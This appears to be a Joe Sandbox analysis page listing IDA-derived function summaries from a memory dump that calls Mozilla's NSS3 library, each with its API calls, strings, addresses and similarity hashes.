Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction ID: f651f945041d3de3dd2d995ada1748b13bf3cc3cb7185132931121498db4da21
Opcode Fuzzy Hash: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction Fuzzy Hash: 85311671A01215AFC710DF68CC44B8AB7E4EF49348F158029E8189B751E731FD26CBE9

Function 6C62AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C62AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C749500,6C623F91), ref: 6C62AFD2

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

DER_GetInteger_Util.NSS3(?), ref: 6C62B007

Part of subcall function 6C676A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C621666,?,6C62B00C,?), ref: 6C676AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C62B02F
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C62B046
PL_FreeArenaPool.NSS3 ref: 6C62B058
PL_FinishArenaPool.NSS3 ref: 6C62B060

Strings

security, xrefs: 6C62AFB8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction ID: 46b92534f04f3d72616630528fb8a4e14620842a556651734e6a2538204a8e1b
Opcode Fuzzy Hash: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction Fuzzy Hash: 1B3106704053009BDB118F249C44BAAB7A4EFC636CF104619E9765BBD1E73A9149CB9F

Function 6C623E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
PL_FreeArenaPool.NSS3 ref: 6C623F14
PL_FinishArenaPool.NSS3 ref: 6C623F1C

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Strings

security, xrefs: 6C623EBC

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9267e2b12d1a7440815bd2ae8a57622c87c0846848fca0abb4e3ecc671e14d58
Instruction ID: de1496cc10e7c07da26dab567faefcfe7bc66814224ecf776f4352b963113960
Opcode Fuzzy Hash: 9267e2b12d1a7440815bd2ae8a57622c87c0846848fca0abb4e3ecc671e14d58
Instruction Fuzzy Hash: 2D21F8B1904304ABD7148B15AC41FAB77A8BF8971CF04093DF959A7B41F734D6188BAE

Function 6C65ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C65ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AD23

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AD39

Strings

C_MessageDecryptFinal, xrefs: 6C65ACE1
(CK_INVALID_HANDLE), xrefs: 6C65AD1C
nsl, xrefs: 6C65AD51, 6C65AD7B
hSession = 0x%x, xrefs: 6C65ACFE, 6C65AD0E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nsl
API String ID: 332880674-1858972042
Opcode ID: 2e7727ad7ff38658f11495b35a41851e1d512e0007eb2186721faa51f7c53ac7
Instruction ID: 75db8c395eacafb4bc77d5b1f0809a0d6240601c42de577b3b9a66bc1ecd769f
Opcode Fuzzy Hash: 2e7727ad7ff38658f11495b35a41851e1d512e0007eb2186721faa51f7c53ac7
Instruction Fuzzy Hash: EA2137316021149FDB00AB64DD8CBBA37F5AB4730EFB44035E90997B03DB309918C7AA

Function 6C66CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C66CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C66CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C66D079

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction ID: bd71bc3be2d9716f521d93119fed798d4112e633a1dd4d7e0dcdc4704d2f6446
Opcode Fuzzy Hash: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction Fuzzy Hash: 22C191B1A002199BDB20CF15CC80BDAB7B4BF49308F2441A8D94D97B41E775EE95CF9A

Function 6C65DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6697C1,?,00000000,00000000,?,?,?,00000000,?,6C647F4A,00000000), ref: 6C65DC68

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DFAA

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 1c2392f76c856a6cbb9b47da866d3f6e3c3afb87ff3681672c9d93b696d4975d
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 9E81D2707036058BFB114A18CE903AD72D6DB60748FB0843AD91ACAFE1E775C8E6C61E

Function 6C633C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C633C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C633C94

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PORT_NewArena_Util.NSS3(00000800), ref: 6C633CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C633CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C633CE1

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction ID: 37cfb642b69568eae9b8e5965bd0d4adf6676b72f2342cbdb77d4954e624fd54
Opcode Fuzzy Hash: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction Fuzzy Hash: 516105B5A00210ABEB105F65DC41FAB76B9EF05748F085039FE09DAA92F721D816C7BD

Function 6C673D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

TlsGetValue.KERNEL32 ref: 6C673D8B
EnterCriticalSection.KERNEL32(?), ref: 6C673D9F
PR_Unlock.NSS3(?), ref: 6C673DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C673DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C673E4F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

TlsGetValue.KERNEL32 ref: 6C673E97
EnterCriticalSection.KERNEL32(?), ref: 6C673EAB
PR_Unlock.NSS3(?), ref: 6C673ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C673EEE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 6419583e41bb925c89de94673d27d6b8c8e7275a2235fe26c8081ee58902335a
Instruction ID: 674fc03b7504f1edddecd71f925a61b70600c335cd754781eed5eca0dc16a24a
Opcode Fuzzy Hash: 6419583e41bb925c89de94673d27d6b8c8e7275a2235fe26c8081ee58902335a
Instruction Fuzzy Hash: 32516A72A002009FDB219F29DC447AB73B4EF46319F140979DE0947B22EB31E955CBEA

Function 6C622C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(897476D0), ref: 6C622C5D

Part of subcall function 6C680D30: calloc.MOZGLUE ref: 6C680D50
Part of subcall function 6C680D30: TlsGetValue.KERNEL32 ref: 6C680D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C622C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C622CE0

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C622D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C622D3F
free.MOZGLUE(00000000), ref: 6C622D73
CERT_DestroyCertificate.NSS3(?), ref: 6C622DB8
free.MOZGLUE ref: 6C622DC8

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction ID: 2b2b877ca09bab0f56da44ce9739dea23727c9d735f4eff3ade9027ea71e4bc6
Opcode Fuzzy Hash: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction Fuzzy Hash: C1510071A143159BEB11DE28CC88B5B77E5EF88368F14083CEC4983650E735E815CF9A

Function 6C627CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PR_GetCurrentThread.NSS3 ref: 6C627CFD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749030), ref: 6C627D1B

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749048), ref: 6C627D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C627D50
PR_GetCurrentThread.NSS3 ref: 6C627D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C627D7D
free.MOZGLUE(?), ref: 6C627D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C627DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C627E19

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction ID: 5327fe725c6253b714910b112ea965cee3210738ce9c74c3d26e8a687a7c52eb
Opcode Fuzzy Hash: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction Fuzzy Hash: 9A410372A0011A9BDB008E69DC41FAF33E8AF4535CF150824EC09AB650E734E9198BAA

Function 6C637EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6380DD), ref: 6C637F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6380DD), ref: 6C637F36
free.MOZGLUE(?,?,?,6C6380DD), ref: 6C637F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6380DD), ref: 6C637F5D
DeleteCriticalSection.KERNEL32(?,6C6380DD), ref: 6C637F94
free.MOZGLUE(?), ref: 6C637F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6380DD), ref: 6C637FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6380DD), ref: 6C637FE6
free.MOZGLUE(?,6C6380DD), ref: 6C63802D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 74db4cb6411a20572f88af55c103a70abf70677eb04cd0f16561c6bb0efbc931
Instruction ID: 4caa92221012d3876c815b8d460c423e565382c126497f292b1bb82173f0e4e9
Opcode Fuzzy Hash: 74db4cb6411a20572f88af55c103a70abf70677eb04cd0f16561c6bb0efbc931
Instruction Fuzzy Hash: 8741E871F061208BDF109FB98D8CA4737B5BB4739AF352139EA1997B40D7349405CBA9

Function 6C67FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FF00

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C67FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C67FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C67FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C67FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C67FF8C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
